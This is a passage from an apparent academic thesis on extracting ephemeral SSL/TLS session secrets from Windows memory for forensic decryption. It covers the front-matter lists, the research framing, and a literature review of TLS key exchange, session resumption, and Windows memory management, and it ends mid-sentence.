. . . . . . . . 51 4.1 Example connection parameters in Wireshark . . . . . . . . . . . . . . 56 4.2 ssl3 tag to AES artifact adjacency . . . . . . . . . . . . . . . . . . . . . 58 4.3 Disassembled validateMSCryptSymmKey function (annotated) . . . . . 59 4.4 ssl3 resolved symbols . . . . . . . . . . . . . . . . . . . . . . . . . . . . 60 4.5 Client/Server random values in memory . . . . . . . . . . . . . . . . . 63 4.6 Ncryptsslp “Validate” function symbols . . . . . . . . . . . . . . . . . . 65 4.7 Disassembled ValidateMasterKey function (x64) . . . . . . . . . . . . . 65 4.8 SSL master key instance in memory (x64) . . . . . . . . . . . . . . . . 67 4.9 SSL master key (ssl5) C data structure . . . . . . . . . . . . . . . . . . 68 4.10 Dereference of CipherSuiteList entry from ssl5 . . . . . . . . . . . . . . 69 4.11 Local Security Authority Sub-System (LSASS) SSL session key (ssl3) data structure . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 70 4.12 Non-LSASS SSL session key (ssl3) data structure . . . . . . . . . . . . 72 vi Figure Page 4.13 Non-LSASS SSL session key (ssl3) V-Type data structure (x64) . . . . 73 4.14 SSL ephemeral key (ssl6) and key pair (ssl4) C data structures . . . . . 74 4.15 SSL key pair (ssl4) provider Dereference . . . . . . . . . . . . . . . . . 75 4.16 Dereferenced KSPK private key DPAPI Blob . . . . . . . . . . . . . . . 76 4.17 NcryptSslKey instances Dereferenced (x64) . . . . . . . . . . . . . . . . 78 4.18 Master key to session ID mapping . . . . . . . . . . . . . . . . . . . . . 79 4.19 Schannel CSslCacheItem parsing (x64) . . . . . . . . . . . . . . . . . . 81 4.20 Schannel CSslCacheItem V-Types (x64) . . . . . . . . . . . . . . . . . 83 4.21 Volatility LSASSLKey plug-in output . . . . . . . . . . . . . . . . . . . 90 4.22 Decrypted Remote Desktop Protocol (RDP) session . . . . . . . . . . . 91 vii LIST OF ACRONYMS & ABBREVIATIONS AES . . . . . . . . . . . . . . . . . . . . Advanced Encryption Standard API . . . . . . . . . . . . . . . . . . . . Application Programming Interface ASN.1 . . . . . . . . . . . . . . . . . . Abstract Syntax Notation One CNG . . . . . . . . . . . . . . . . . . . CryptoAPI Next Generation DER . . . . . . . . . . . . . . . . . . . Distinguished Encoding Rules DLL . . . . . . . . . . . . . . . . . . . . Dynamic Link Library DPAPI . . . . . . . . . . . . . . . . . . Data Protection API DTB . . . . . . . . . . . . . . . . . . . Directory Table Base DWORD . . . . . . . . . . . . . . . . . Double Word IP . . . . . . . . . . . . . . . . . . . . . Internet Protocol LSASS . . . . . . . . . . . . . . . . . . Local Security Authority Sub-System OS . . . . . . . . . . . . . . . . . . . . . Operating System PDB . . . . . . . . . . . . . . . . . . . Program Database PEB . . . . . . . . . . . . . . . . . . . . Process Execution Block PEM . . . . . . . . . . . . . . . . . . . Privacy-enhanced Electronic Mail PFS . . . . . . . . . . . . . . . . . . . . Perfect Forward Secrecy PKCS . . . . . . . . . . . . . . . . . . . Public Key Cryptography Standards PKI . . . . . . . . . . . . . . . . . . . . Public Key Infrastructure PMK . . . . . . . . . . . . . . . . . . . Pre-Master Key PMS . . . . . . . . . . . . . . . . . . . Pre-Master Secret PoC . . . . . . . . . . . . . . . . . . . . Proof-of-Concept PRF . . . . . . . . . . . . . . . . . . . . Pseudo-Random Function viii PRNG . . . . . . . . . . . . . . . . . . Pseudo-Random Number Generator PSK . . . . . . . . . . . . . . . . . . . . Pre-Shared Key QWORD . . . . . . . . . . . . . . . . . Quad Word RDP . . . . . . . . . . . . . . . . . . . Remote Desktop Protocol RFC . . . . . . . . . . . . . . . . . . . . Request for Comment SNI . . . . . . . . . . . . . . . . . . . . Server Name Indicator SSL . . . . . . . . . . . . . . . . . . . . Secure Socket Layer SSP . . . . . . . . . . . . . . . . . . . . Security Support Provider TCP . . . . . . . . . . . . . . . . . . . Transmission Control Protocol TLS . . . . . . . . . . . . . . . . . . . . Transport Layer Security TLV . . . . . . . . . . . . . . . . . . . . Type-Length-Value UDP . . . . . . . . . . . . . . . . . . . User Datagram Protocol VAD . . . . . . . . . . . . . . . . . . . Virtual Address Descriptor ix LIST OF TERMS Bit “A contraction of the term ‘binary digit’; the smallest unit of information storage, which has two possible states or values. The values usu- ally are represented by the symbols ‘0’ (zero) and ‘1’ (one).” (Shirey, 2007, p. 36). Bitstream A contiguous linear serialization of bits. Byte “A fundamental unit of computer storage; the smallest addressable unit in a computer’s ar- chitecture. Usually holds one character of information and, today, usually means eight bits. (Compare: octet.)” (Shirey, 2007, p. 43). Cipher “A cryptographic algorithm for encryption and decryption” (Shirey, 2007, p. 61). Ciphertext “Data that has been transformed by encryp- tion so that its semantic information content (i.e., its meaning) is no longer intelligible or directly available.” (Shirey, 2007, p. 62). x Common Criteria An international “standard for evaluating in- formation technology (IT) products and sys- tems. It states requirements for security func- tions and for assurance measures. ” (Shirey, 2007, p. 69). Double Word “A DWORD is a 32-bit unsigned integer (range: 0 through 4294967295 decimal). Be- cause a DWORD is unsigned, its first bit (Most Significant Bit (MSB)) is not reserved for signing.” (Microsoft, n.d.-c, s. 2.2.9). Encode “Use a system of symbols to represent in- formation, which might originally have some other representation. Example: Morse code.” (Shirey, 2007, p. 119). Encryption “Cryptographic transformation of data (called ”plain text”) into a di↵erent form (called ”ci- pher text”) that conceals the data’s original meaning and prevents the original form from being used. The corresponding reverse process is ”decryption”, a transformation that restores encrypted data to its original form.” (Shirey, 2007, p. 119). xi Ephemeral “Refers to a cryptographic key or other cryp- tographic parameter or data object that is short-lived, temporary, or used one time.” (Shirey, 2007, p. 122). Hash Value “The output of a hash function.” (Shirey, 2007, p. 141). Hash Function “A (mathematical) function which maps val- ues from a large (possibly very large) domain into a smaller range. A ‘good’ hash function is such that the results of applying the func- tion to a (large) set of values in the domain will be evenly distributed (and apparently at random) over the range.1” (Shirey, 2007, p. 140). Plaintext “Data that is input to an encryption process.” (Shirey, 2007, p. 225). Pseudorandom “A sequence of values that appears to be ran- dom (i.e., unpredictable) but is actually gen- erated by a deterministic algorithm.” (Shirey, 2007, p. 240). 1In the context of security, hash functions accept variable-length input and produce fixed-length output xii Pseudorandom Function A function that “uses a deterministic com- putational process (usually implemented by software) that has one or more inputs called ‘seeds’, and it outputs a sequence of values that appears to be random according to spec- ified statistical tests.” (Shirey, 2007, p. 244). Quad Word “A QWORD is a 64-bit unsigned integer.” (Microsoft, n.d.-c, s. 2.2.40). Request For Comment “One of the documents in the archival se- ries that is the official channel for IDOCs and other publications of the Internet Engineer- ing Steering Group, the Internet Architecture Board, and the Internet community in gen- eral.” (Shirey, 2007, p. 250). 1 CHAPTER 1. INTRODUCTION The forensic analysis of digital media has rapidly advanced over the course of the last decade, vaulting from the fringes of forensic science to prominence and acceptance within both the forensic community and the public eye. This explosion has been in part fueled by the rapid expansion of technology into nearly every facet of daily life. These digital systems, from traditional personal computers, to smart phones, vehicles, and intelligent appliances, are increasingly storing, processing, and transmitting data that is providing critical context in cases and investigations around the world. More recently emerging as a sub-discipline of digital forensics is volatile memory forensics, focused on the incredible wealth of information that can be gleaned from capturing this ephemeral storage media. As the size of persistence storage both increases and becomes ever more economical, the smaller volatile memory that holds the salient points of recent activity is being turned to as a great triage mechanism. It stands on its own merits, however, providing exclusive access to items of evidentiary value that are simply unobtainable from any other source. Driving the expansion of interest in volatile memory forensics has been the enumeration of artifacts belonging to the prolific Windows family of operating systems, and the development of tools that have abstracted the complexities of understanding Windows memory management, making the volatile medium far more accessible. It is upon this driver for development that the author builds, seeking to explore the extraction of Windows SSL/TLS secrets from within volatile memory. 2 1.1 Statement of Problem Currently, there exists no reliable or automated way to forensically decrypt SSL/TLS connections that leverage ephemeral key negotiations as implemented by the modern Windows operating system. Since Secure Socket Layer was first put forth by Netscape and later galvanized in an RFC, the concept of Public Key Infrastructure (PKI) and the key exchange has been central to its security. The private key has historically been the penultimate secret, stored persistently with the server and used across all key exchanges to decrypt the pre-master secret. This has proved to be its Achilles’ heel from a security standpoint, as the private key can be leveraged to retroactively decrypt the handshake of any session between the server and clients for which the key was used indefinitely. It has also been suggested that the key itself may often outlive a certificate renewal, being used across regenerated certificates (Taubert, 2014). The advent of Perfect Forward Secrecy (PFS), a property that means past connections are secure from future decryption (accomplished in SSL and Transport Layer Security (TLS) through use of “throw-away” ephemeral keys), has proved a double-edged sword for network defenders, law enforcement activity, and attackers alike. On the one hand, it helps ensure the confidentiality of mission critical information against future theft; however, it similarly imposes a barrier to access when used nefariously to exfiltrate information from a network or shroud illicit activities. Still, the implementations of PFS for TLS in practice have been mired by conflicting objectives. The desire for quick reconnection through the use of “Session Resumption” has meant caching of SSL/TLS secrets in main memory, or even to disk. This has been well-documented in instances of Web servers, like Apache or NGINX (Dreijer & Rijs, 2013) on Linux and Unix systems, but has not seen the same level of scrutiny in Windows, possibly owing to the closed-source nature of the material. 3 Beyond simply decryption of connections, the attribution or trace evidence of connections, while perhaps less interesting to an attacker, would still provide potentially invaluable context to an Incident Responder investigating a suspect system, or a forensic analyst working a case. Artifacts like public certificates or negotiated connection parameters could furnish clues about attack vectors or the intent of a given connection, but currently are not well documented artifacts on Windows-based systems. 1.2 Significance As ephemeral cipher suites become increasingly popular and are embraced by the Windows operating system, it will become more important to identify a reliable and forensically sound mechanism to decrypt them. Windows components like Edge (and Internet Explorer), RDP, Outlook, Skype, Windows Update, SQL Server, IIS, Microsoft Exchange, and LDAPS (Active Directory mechanism) all leverage the Windows SSL/TLS implementation and will likely embrace PFS as a desired or default property in the future (Microsoft, 2015d). Anecdotal testing on Windows 10, suggests that it already does prefer ephemeral cipher suites. Other third-party applications (like the popular Citrix client) that leverage Windows libraries for SSL/TLS negotiation will also likely follow the system preference. This gives rise to several use cases for a legitimate capability to retroactively decrypt connections that were not otherwise captured through a pre-arranged mechanism (such as SSL Inspection), for example: • Decryption of logged malicious RDP sessions after a breach for incident response purposes • Decryption of illicit HTTPS traffic captured prior to the serving of a search warrant • Automated, transparent decryption of malware connections (especially salient for instances where Powershell or other native elements are used). 4 • Decryption of Windows Update traffic 1.3 Research Question Given the problem of decrypting connections made with the Windows implementation of ephemeral key exchanges, the research question stands thusly: Do the requisite connection parameters exist in the memory of modern Windows systems to retroactively decrypt sessions? If so, how long do these artifacts persist? Complimenting this question is the ancillary pursuit of any other connection artifacts that may help provide context to the nature of the connection. 1.4 Hypothesis It is posited that, to maintain the connection, at the very least the session keys must exist for the duration of the connection. It is further supposed that, outliving the connection itself, other secrets may exist to support the ability to perform session resumption or other implementation specific functionality. 1.5 Assumptions The research question and subsequent hypothesis are predicated on several assumptions, which are as follows: • The term modern with respect to operating systems refers to those currently actively supported by Microsoft at the time of writing • It is assumed that the operating systems to be examined are standard in so much as the kernel and physical memory addressing schemes have not been altered by any party other than Microsoft and are in general distribution 5 • It is assumed that any operating system being examined may be either installed on physical or virtual hardware without consequence; that is to say that the use of virtualization will have no impact on the subject matter of the study • It is assumed that any underlying analysis platform chosen is sound in its implementation and can be relied upon to perform its purported function 1.6 Limitations In addition to the assumptions, it was important to define the scope of the research. The methodology appearing in Chapter Three of this thesis will discuss the instrumentation that inherently produces constraints, but the scope will be discussed here explicitly in terms of limitations and delimitations. Limitations refer specifically to those things that the research defines as within bounds of the scope. The delimitations, conversely, will seek to delineate those things which are reasonably outside the bounds of the research and were not explored at any depth. The limitations for this study included: • Windows 10 operating systems were considered on Intel x86 and x64 architectures • All versions of SSL and TLS supported by Windows 10 were considered • Either the Volatility or Rekall frameworks were used to demonstrate the findings of the thesis, or both as necessary 1.7 Delimitations The delimitations for this study included: • Linux, Unix, or other systems which have implementations or emulation of Microsoft cryptographic packages were not examined, unless explicitly identified in the limitations 6 • Third party cryptographic protocols or packages for the operating systems being considered were not examined • This thesis did not examine methods of volatile memory acquisition outside of a cursory glance during the literature review, and the necessary semantic elements that may define the proprietary bitstream structures of di↵erent acquisition methods • Paging constraints and operations were not considered as part of this work, though they may be in future work • CPU cache size and levels were not controlled for due to the difficulty of manipulation in virtual environment that was used during testing 7 CHAPTER 2. RELEVANT LITERATURE This section will highlight literature considered salient to the problem identified in Chapter One and the development of a solution. While this chapter will provide background information, it is assumed that the reader has an understanding of Transmission Control Protocol (TCP)/Internet Protocol (IP) networking, computer architectures, and digital forensics. Part of this literature review will not involve academic works, but also material from industry conferences, code from well-established open-source projects, and even blog posts from prominent members within the community. The review will progress through four larger stages: • A brief discussion of modern memory analysis frameworks • A cursory overview of SSL/TLS to provide framing for methods and results • A review of Windows internal memory management and TLS implementation, the subject of the thesis • A review of prior works as grounds for due diligence, in pursuit of showing good faith regarding the novelty and significance of the research The most salient insights from the literature review across all of these sub-divisions are provided here for convenience: • Volatility and Rekall are the memory analysis platforms that will be considered • SSL/TLS require caching of secrets to support session resumption, even in cases where PFS is attempted • LSASS is the Key Isolation component of the Microsoft’s SSL/TLS implementation • There is prior work on extracting persistent RSA private keys from Windows systems 8 • There is prior work on extracting OpenSSL secrets from UNIX-like systems • There does not appear to be prior work on extracting ephemeral SSL/TLS secrets from the Windows SSL implementation 2.1 Volatile Memory Analysis Frameworks Although many methods exist for memory collection, there are currently two primary frameworks that exist for analysis: the Volatility and Rekall Memory Forensics Frameworks. Both are considered here, as either one or both will be used to demonstrate findings of the thesis. Perhaps the gold standard for volatile memory analysis has been the Volatility Framework originally developed by Alex Walters and Nick Petroni in the form of “FATKit” and “Volatools” (Petroni, Walters, Fraser, & Arbaugh, 2006; Walters & Petroni, 2007). Core developers of Volatility, led by Michael Hale Ligh, went on to develop the most extensive source material to date on memory analysis for forensics, entitled “The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac memory.” Volatility is extensible via plug-ins and has the capability to interpret the architecture and OS dependent address spaces, making it an ideal platform on which to develop a Proof-of-Concept (PoC) solution. It makes use of a structure referred to as a “V-Type” that allows objects to be created and extended based on a C-like strucure, without knowing all fields in the structure (Ligh et al., 2014). This is a powerful abstraction for reverse engineering and forensic artifact extraction. Rekall originated as a branch of Volatility maintained by Micheal Cohen (also known by the alias “Scudette”) and was called the “scudette” or “Technology Preview” branch. It seems that di↵erences in philosophy and changes to the main code base meant that the scudette branch was never destined to be merged with the master branch of Volatility (Cohen, 2015a). The di↵erences in approach are outlined principally in the Rekall blog and on the Rekall website (Cohen, 2015b). Succinctly, 9 they are the way in which profiles for various operating systems are handled, the way operating systems are identified, and the preference in Rekall for the interactive command-line, as well as redesign of the plug-in structure. Rekall also (by extension of the way it manages profiles) has incorporated a dynamic symbol loading and parsing system that it can leverage automatically (when allowed Internet access). Both Volatility and Rekall support much of the same functionality through plug-ins. Plug-ins implement an interface, and can be developed and incorporated by anyone, making both tools modular, hence they are described as a framework. The logical view of this architecture is depicted in Figure 2.1 The philosophy taken by Rekall, particularly the dynamic ability to look up symbols and localization of profiles, even within Windows versions, seems to be a desirable trait going forward. At the same time, many environments leveraged by the target audience require analysis systems that are completely disconnected from the Internet, meaning that any methods developed cannot solely rely on the capability to dynamically fetch symbols, if at all possible. 10 Figure 2.1. Volatility plug-in interface and address space abstraction (Ligh et al., 2014) 2.2 SSL & TLS Understanding SSL/TLS internals is central to the thesis. The core purpose of SSL, and its successor TLS, is to provide a mechanism to securely establish communications between two parties by defining how both parties will decide upon and exchange the necessary information to authenticate each other and encrypt their communications. This section will overview the poignant components, namely: the handshake, key exchange, session resumption, session ticket extension, and the extended master secret extension. These topics will be reviewed per the Request for Comment (RFC) specifications here, and then particulars of the Windows implementation will appear in a later section. 11 A distinction that should be clarified is that, while it seems generally accepted that SSLv3 is equivalent to TLSv1, the two should not be conflated and are not interoperable. This information is relayed explicitly in the TLSv1 RFC: The di↵erences between this protocol and SSL 3.0 are not dramatic, but they are significant enough that TLS 1.0 and SSL 3.0 do not interoperate (although TLS 1.0 does incorporate a mechanism by which a TLS implementation can downgrade to SSL 3.0).(Dierks & Allen, 1999, p.5) The two are decidedly related though, closely enough in fact that the protocol identifier for TLSv1 is 0x0301, a reference to “SSLv3.1.” Still, a few points worth noting (Freier et al., 2011; Goh & Boneh, 2001) are: • TLS Extensions are not strictly supported by SSLv3 • The HMAC function di↵ers between the two • The Pseudo-Random Functions (PRFs) di↵er • Total allowed padding lengths di↵er • The last message of the handshake di↵ers These di↵erences are touched upon because they could alter the artifacts seen in memory between the two (though in part this is implementation specific). There remains enough similarities that the overview will discuss them simultaneously, pointing out any di↵erences as necessary. For readability and brevity, only TLS will be used for the remainder of the thesis. 2.2.1 Handshake & Key Exchange The TLS key exchange is central to the security of the protocol. The purpose is to exchange enough information that both parties can derive the same (symmetric) secret key1 to encrypt and decrypt messages. There are several standardized ways to achieve this objective, and so both client and server need to 1keys plural, actually, as will be discussed later 12 agree on which way the exchange will occur. There is also the question of what algorithm (cipher) will be used for encryption once a shared secret is known by both parties (the symmetric key size will be dependent upon this choice). A final concern is how to protect the integrity of the connection by verifying the parties are who they claim to be, and verifying that messages passed between them have not been surreptitiously altered. TLS addresses these problems by bundling the key exchange, symmetric cipher, and integrity components into a single parameter called the “Cipher Suite.” An example of a cipher suite is “TLS RSA WITH AES 128 CBC SHA.” The cipher suite is negotiated through an TLS “handshake,” in which these and other parameters for the connection are established. This process, as described in the SSLv3 and TLSv1 RFCs, is depicted in Figure 2.2, consisting of at minimum a “Client Hello” and “Server Hello” in which a cipher suite is determined, a client key exchange, and a change cipher spec message. 13 Figure 2.2. SSL/TLS Handshake (Dierks & Allen, 1999; Freier et al., 2011; Microsoft, 2003a) A few key parameters set in this exchange are: • The TLS version: The client and server agree on a TLS version for the connection, which is represented as a unique identifier (e.g. 0x0302 for TLS v1.1). • The random values: The client and server random values are used to seed the PRF, and consist of a four byte timestamp followed by 28 bytes of random data. • The session ID: Before TLS 1.2 (and in current practical implementation) the session ID is a 16 byte value often represented by 32 hexadecimal characters, 14 which is used to uniquely identify the session. The client should send a null session ID if it wants to start a new connection (or if tickets are being used to resume the session, discussed later). • The cipher suite: A unique value used to represent the ciphers that will be used in the connection (e.g. 0xc028 for TLS ECDHE RSA WITH AES 256 CBC SHA384). The key exchange itself is the first cipher component dictated in the “Cipher Suite” chosen by the server, and is commonly one of several options specified in RFCs: • Rivest-Shamir-Adelman (RSA) • Diffie-Helman Ephmeral (DHE) • Elliptic Curve DHE (ECDHE) • Secure Remote Password (SRP) • Pre-Shared Key (PSK) The choice of cipher suite will also determine what messages follow. An RSA key exchange does not contain a “ServerKeyExchange” message, whereas DHE and ECDHE do. This is important, because the ServerKeyExchange is what allows the Pre-Master Secret (PMS) to be derived by both parties without the client sending it over the network, and as a result part of what enables the property of Perfect Forward Secrecy. 2.2.2 Perfect Forward Secrecy Perfect Forward Secrecy (PFS) is a property of secure communications that employ key exchanges (which, by their nature, may be observable by third parties). Whitfield Diffie described PFS in his paper “Authentication and Authenticated Key Exchanges,” noting that “An authenticated key exchange protocol provides perfect forward secrecy if disclosure of long-term secret keying material does not compromise the secrecy of the exchanged keys from earlier runs” (Diffie, 15 Van Oorschot, & Wiener, 1992, p. 7). In the context of TLS, this refers to the compromise of the private key. The issue with non-PFS key exchanges, like RSA, is that a private key can be used to retroactively decrypt previously captured connections indefinitely. This is because the public key encrypts the Pre-Master Key (PMK) and sends it to the Server. The Pre-Master Key (PMK) is used to derive the master key, which in turn is used with public parameters to derive the session keys. Ephemeral key exchanges address this in part by creating and rotating short-lived keys that are not persisted to disk (and, in theory, should not be persisted between connections). They also do not exchange a secret encrypted with this key over the network. Instead, Diffie-Helman relies on the communicative property of exponents to exchange a public value (g) raised to the power of a secret modulo a large prime number. If the client and server are Alice and Bob2, then Alice would send ga mod p to bob, where g is a public base number, a is Alice’s secret and p is a large prime number. Bob would do the same with his secret, and send it to Alice. Bob would then take the value that Alice sent and raise it to his secret value mod p. Alice does the same and the result is that both Alice and Bob have arrived at the same secret. This helps achieve the property of PFS by ensuring that the values exchanged are not reliant on a persistently stored secret, and that a secret relying on that key is not exchanged across the network. For the sake of the thesis, any suite that is ephemeral will be said to be a TLS implementation of PFS. However, as will be discussed, another aspect of TLS negates some of the benefit provided by storing secrets in main memory for what might be termed an extended period of time with respect to the life of the connection. Another key consideration to remember is that the client may send support for an ephemeral cipher suite in its hello, but the suite chosen comes down to the Server’s preference. 2A common method of representing a party “A” and “B” 16 2.2.3 Key Calculation Having successfully exchanged or derived a secret, known as the “Pre-Master Secret (PMS)” both parties now generate the master secret or “master key.” Whereas the PMK may vary in size, the master secret is always 48 bytes. The method used to generate the master secret for TLS is shown in Figure 2.3, as it appears in the RFCs. master_secret = PRF(pre_master_secret, "master secret", ClientHello.random + ServerHello.random) [0..47]; Figure 2.3. TLS master secret generation pseudo-code (Dierks & Allen, 1999; Dierks & Rescorla, 2008) The master secret is then, in turn, used to generate a series of session keys and unique values. This occurs by expanding the master secret (much like a key schedule), and then passing the master secret, the “key expansion,” and the client and server random value into a PRF, yielding a “key block.” The key block is then partitioned into keys in the following order3 (Dierks & Rescorla, 2008): • Client MAC key • Server MAC key • Client write key • Server write key • Client (write) IV • Server (write) IV The implications of this for the thesis are that there will be multiple matching symmetric keys on either side of the connection (at least for the duration of the connection), in addition to a fixed-length master key that may exist. 3Not all cipher suites will use the IVs, which is noted in the RFC 17 2.2.4 Session Resumption TLS session resumption is a feature designed to enhance performance by enabling an abridged negotiation on subsequent reconnects between the same client and server. This is useful in situations when multiple connections may be made between the same hosts over a period of time (or even between a given client and cluster of servers). The general premise is that after an initial full key negotiation, some portion of the “state” of the connection, including at minimum a unique session identifier and the master key, is cached. When the client wishes to reconnect to the same server (or cluster of servers), it sends the unique identifier from its cache with the client hello message. If both parties have access to the master key tied uniquely to the session identified provided by the client, a willing server would send a “change cipher spec” message indicating that the symmetric cipher will be now be used, and the session resumes without another key exchange (Dierks & Allen, 1999; Freier et al., 2011; Salowey, Zhou, Eronen, & Tschofenig, 2008). The abridged handshake can be seen in Figure 2.4. 18 Figure 2.4. TLS session resumption abridged Handshake There are two widely supported forms of unique identifier – the session ID, which is a component of the standard TLS implementations, and the session ticket, which is currently a TLS extension (Freier et al., 2011; Salowey et al., 2008). The session ID was described while discussing the TLS handshake, and is a fixed-length identifier of 32 bytes first introduced in SSL. The session ticket, conversely, is variable length because it is actually an encrypted composite structure of values representing the state. The premise behind session tickets per RFC 5077, is that a server can create a “ticket” out of the state information typically saved in the cache, encrypt this state, and send it to the client for keeping. The advantage to the server is several fold: it no longer has to maintain the state in its cache, freeing up resources, and technically it does not have to be the server that the client resumes the connection with. Consider that a cluster of servers can share the key used to encrypt tickets, 19 and thereby all resume sessions created by any of the servers, allowing for more e↵ective load balancing. session tickets are “opaque” to the client, meaning that the client does not know the contents of the tickets (nor does it need to know that information to resume the session). The client therefore caches the ticket with the master secret, as it would when using a session ID as a unique identifier. The exact elements that make up the ticket and “state” of which the opaque ticket is composed are not mandated by the RFC. A ticket construction put forward in the RFC is detailed in Figure 2.5. struct { opaque key_name[16]; opaque iv[16]; opaque encrypted_state<0..2^16-1>; opaque mac[32]; } ticket; Figure 2.5. Session Ticket per RFC 5077 It’s important to bear in mind that session tickets remain an extension of TLS, meaning that clients that are TLS compliant may elect not to use this extension and should still be able to inter-operate with Servers playing by the RFCs. It is at the client’s option to initiate the use of session tickets by passing the extension in the client hello message. RFC 5077 also alters the standard handshake by introducing a “NewSessionTicket” message that the server sends after the ClientKeyExchange is finished. Session tickets are intended to be mutually exclusive of a session ID. If the server intends to use session tickets, then, importantly, it should include an empty session ID in the server hello message. The client, likewise, should discard any session ID passed to it if the client receives a session ticket from the server (Salowey et al., 2008). Curiously, the RFC states that if a client sends a session ID during a 20 session resumption, the server is supposed to respond with that same ID (presumably for consistent behaviour). This is purported to aide the client in di↵erentiating when a server is resuming the session or performing a full handshake. Wireshark currently supports decryption of sessions that employ session tickets based on the client random. That is to say that Wireshark requires the initial handshake and associated client random value to pair the master secret to a session using tickets. Wireshark is a well-known network analysis tool that will be leveraged in the thesis for PoC decryption of sessions. The implication of this is that the client random will need to be explicitly linked to the master secret in cases where the session ID is not present for ease of decryption (or, alternatively, the ticket will need to be decrypted). Another point of interest is the Extended Master Secret SSL/TLS extension. This extension is proposed in RFC 7627 as a result of a weakness in the way session resumption works. The weakness is called a “triple handshake attack,” essentially amounting to a man-in-the-middle attack that allows decryption of the PMK or session keys in a specific scenario (Bhargavan, Delignat-Lavaud, Pironti, Langley, & Ray, 2015). The fix, according to the RFC is to “contextually [bind] the master secret to a log of the full handshake that computes it, thus preventing such attacks” (Bhargavan et al., 2015, p. 1). Importantly for the thesis, this is implemented by changing the values seeded to the pseudo-random function to be more connection parameter specific; it does nothing to e↵ect how the master key, once computed, is stored. The RFC does mention “shredding” of the PMK in memory as soon as possible. Incidentally, RFC 7627 also mentions RFC 5077 (session tickets), indicating that the extended master secret does not necessarily cover session tickets. Specifically, “[...] if the client and server support the session ticket extension [RFC5077], the session hash does not cover the new session ticket sent by the server. Hence, a man-in-the-middle may be able to cause a client to store a session ticket that was not meant for the current session” (Bhargavan et al., 2015, p. 12). 21 As mentioned, Wireshark is a well-known and industry standard tool for network protocol analysis. It performs semi-automated analysis and protocol parsing through the use of “dissectors.” This information is relevant because public and static values implemented in the RFCs can be seen in the source code of the SSL protocol dissector (Wireshark, 2015). These values, along with others discussed in the ensuing section on Windows implementation, will provide important context during searches for connection specific values and secrets. 2.3 Windows Internals This section will review the components of the Windows operating system that may have a bearing on the thesis. Memory management is reviewed briefly to point out mechanisms that may e↵ect design decisions that are incorporated into the methodology. The TLS implementation is also reviewed, looking at potential artifacts that should exist within the implementation, and where those artifacts may be found. 2.3.1 Memory Management One of the most important aspects of memory management is how to efficiently virtualize the relatively constrained resource that is physical main memory and present the illusion to each process that it has it’s own full, contiguous address space. This is generally accomplished through two mechanisms: Paging and Segmentation. These concepts are implemented through a combined e↵ort of the hardware and operating system working in tandem. The Windows operating systems expressly forgo segmentation per the Microsoft documentation. It is not actually possible to disable segmentation on 32-bit Intel hardware without disabling “protected-mode,” the mode required to enable paging. Windows therefore takes advantage of the “flat model” of segmentation, in which a single contiguous segment is presented to the operating 22 system and applications (in reality, there are at least two overlaid contiguous segments for code and data) (Intel Corporation, 2015). In contrast, Intel 64 architecture (ostensibly IA-32e) does not implement segmentation (Intel Corporation, 2015, p. 5-5). Paging is supported from the Windows perspective through the storage of the Directory Table Base (DTB) and associated physical pages. This is a value stored within the EPROCESS structure of each process and is the physical address of the process’s page directory table. This value is what gets loaded into the CR3 hardware register during a context switch, and is an essential component of rebuilding a process’s virtual address space forensically. Windows extends paging further thorough a mechanism dubbed Virtual Address Descriptors (VADs). A VAD represents a given contiguous allocation of virtual memory pages (Ligh et al., 2014). This contiguous allocation can provide interesting insight, as it represents another layer of abstraction beyond the page table, functionally grouping address ranges into items like files and heaps. The relevance of VADs to the thesis specifically is that they also provide access control information as to whether the VAD is readable, writable, and executable (amongst other states). When scanning for artifacts in a process address space, one could possibly narrow the scan to all read-writable pages. This would significantly improve performance by passing over regions that are not writable and would not contain a committed ephemeral structure. 2.3.1.1. Virtual Address Space An important concept to grasp when considering any operating system forensics is the relationship between the underlying executive processes of the OS and the guest process that they service and supervise. The two roles of supervisor and guest are separated by privileges and typically denoted as “Kernel-mode” and 23 “User-mode” processes respectively. When a user-mode process wishes to perform a privileged action, such as accessing the hardware for I/O, it “traps” into the “Kernel-mode” OS process, which performs this action on its behalf. In order to accomplish the task above, Windows splits the virtual address space of each process into two parts. The first part of the virtual address space is for the process itself as a user-mode address space, unique to each process and isolated. On 32-bit systems this is a value of 2GB by default, extensible to 3GB, and on 64-bit systems the user-mode space can be 8TB by default (Microsoft, n.d.-e). The second part, however, is the kernel address space, which contains both process specific structures and components that are mapped across all processes4. This is actually a relic of the design from VAX/VMS, which shared one of the main developers of Windows NT (one David N. Cutler) (Russinovich, Solomon, & Allchin, 2005). The relevance this bears to the thesis is several fold. The first reason is that pointers are address, so scanning physical memory will only be so helpful before it becomes important to identify the virtual address space of the process. A physical page can also be mapped into multiple virtual address spaces, meaning that a single physical match could actually be relevant to multiple user-mode processes. The second is that processes share a writable portion of the kernel-mode address space in the form of “pools” which are essentially system heaps. The third is that user-mode process dumps do not include the kernel-mode portion of the virtual address space, so scanning the kernel-address space may become an important separate component of the methodology. 4there is also the concept of session space, which is mapped across all processes within the same session, but is functionally similar to “system space” and contained within the kernel-mode part of the virtual address space (Russinovich, Solomon, & Ionescu, 2012) 24 2.3.1.2. Virtual Memory Allocation Data of arbitrary size is often allocated on the “heap” (or heaps), an area explicitly designated for such operations. In the Windows implementation, the kernel mode “ EPROCESS” structure contains a sub-component known as the Process Execution Block (PEB). The PEB contains two members of interest: a pointer “ProcessHeaps” and a numeric field “NumberOfHeaps.” The ProcessHeaps pointer references an array of pointers to the heaps (the number of which is kept in the NumberOfHeaps member) (Microsoft, n.d.-h). It may at first seem as though this would be the only information required, and knowledge of the pages or VADs would be superfluous to the task of scanning the address space efficiently. This assumption, however, is flawed because the heap is not the only place an application can store or load writable data. A specific example is that any memory allocated with “VirtualAlloc()” will not be part of the heap (Ligh et al., 2014, p. 192). Windows also contains the concept of “Pools,” which can essentially be thought of as Kernel-mode heaps. There are two types of pools: Paged and Non-Paged. As the name states, the paged pool contains elements that can be paged to the page file, whereas the non-paged pool contains elements which should and will not be paged (Microsoft, n.d.-f). Each pool contains sections identified by a “pool tag,” which is composed of four characters. If the keys generated by the cache are in someway shared between processes, then they may exist in one of the pools, and may further be marked by a unique pool tag. 2.3.2 TLS Implementation Microsoft implements TLS through the aptly named “Secure Channel” (Schannel) Security Support Provider (SSP). According to Microsoft: 25 “The TLS protocols, SSL protocols, DTLS protocol, and the Private Communications Transport (PCT) protocol are based on public key cryptography. The Schannel authentication protocol suite provides these protocols.” (Microsoft, 2015d) Schannel then relies on several underlying cryptographic providers to handle key generation and management. The entire 